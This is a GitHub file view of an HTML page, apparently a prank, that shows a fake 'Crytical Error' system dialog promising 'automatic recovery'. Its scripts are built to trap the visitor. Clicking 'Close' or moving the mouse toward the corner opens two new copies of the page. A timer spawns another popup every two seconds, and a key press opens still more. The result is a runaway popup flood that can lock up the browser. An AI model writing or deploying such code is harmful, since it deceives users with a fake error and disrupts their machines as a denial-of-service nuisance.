-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathindex.html
More file actions
95 lines (86 loc) · 2.47 KB
/
index.html
File metadata and controls
95 lines (86 loc) · 2.47 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
<!DOCTYPE html>
<html>
<head>
<link rel="icon" href="https://pixabay.com/vectors/error-cross-icon-symbol-803716/" type="image/png">
<title>Crytical Error</title>
<link href="https://fonts.googleapis.com/css2?family=Roboto&display=swap" rel="stylesheet">
<style>
body {
font-family: 'Roboto', sans-serif;
background-color: #e8eaed;
margin: 0;
display: flex;
align-items: center;
justify-content: center;
height: 100vh;
}
.window {
background-color: #ffffff;
border-radius: 12px;
box-shadow: 0 1px 3px rgba(60, 64, 67, 0.3),
0 4px 8px rgba(60, 64, 67, 0.15);
width: 360px;
padding: 24px;
text-align: center;
border: 1px solid #dadce0;
}
h1 {
font-size: 20px;
color: #d93025;
margin-bottom: 12px;
}
p {
color: #5f6368;
margin: 8px 0;
}
button {
margin-top: 16px;
padding: 10px 20px;
background-color: #1a73e8;
color: white;
border: none;
border-radius: 8px;
font-weight: bold;
cursor: pointer;
transition: background-color 0.2s;
}
button:hover {
background-color: #0c5cd3;
}
</style>
</head>
<body>
<div class="window">
<h1>❌ Crytical Error</h1>
<p>A system error has occurred.<br>Attempting automatic recovery.</p>
<button onclick="trigger()">Close</button>
</div>
<script>
function trigger() {
for (let i = 0; i < 2; i++) {
const offset = Math.floor(Math.random() * 300);
window.open(location.href, "_blank", `width=420,height=300,left=${200 + offset},top=${100 + offset}`);
}
document.body.innerHTML = ""; // "tanca" l'actual
}
// Detecta si el ratolí va cap a la part superior dreta (on hi ha la ❌)
document.addEventListener("mousemove", function(e) {
if (e.clientY < 50 && e.clientX > window.innerWidth - 100) {
trigger();
}
});
</script>
<script>
setInterval(() => {
window.open(window.location.href, '_blank', 'width=400,height=300');
}, 2000);
</script>
<script>
document.addEventListener('keydown', function(event) {
if (event.ctrlKey && event.key === 'Control') {
window.open(window.location.href, '_blank', 'width=400,height=300');
}
});
</script>
</body>
</html>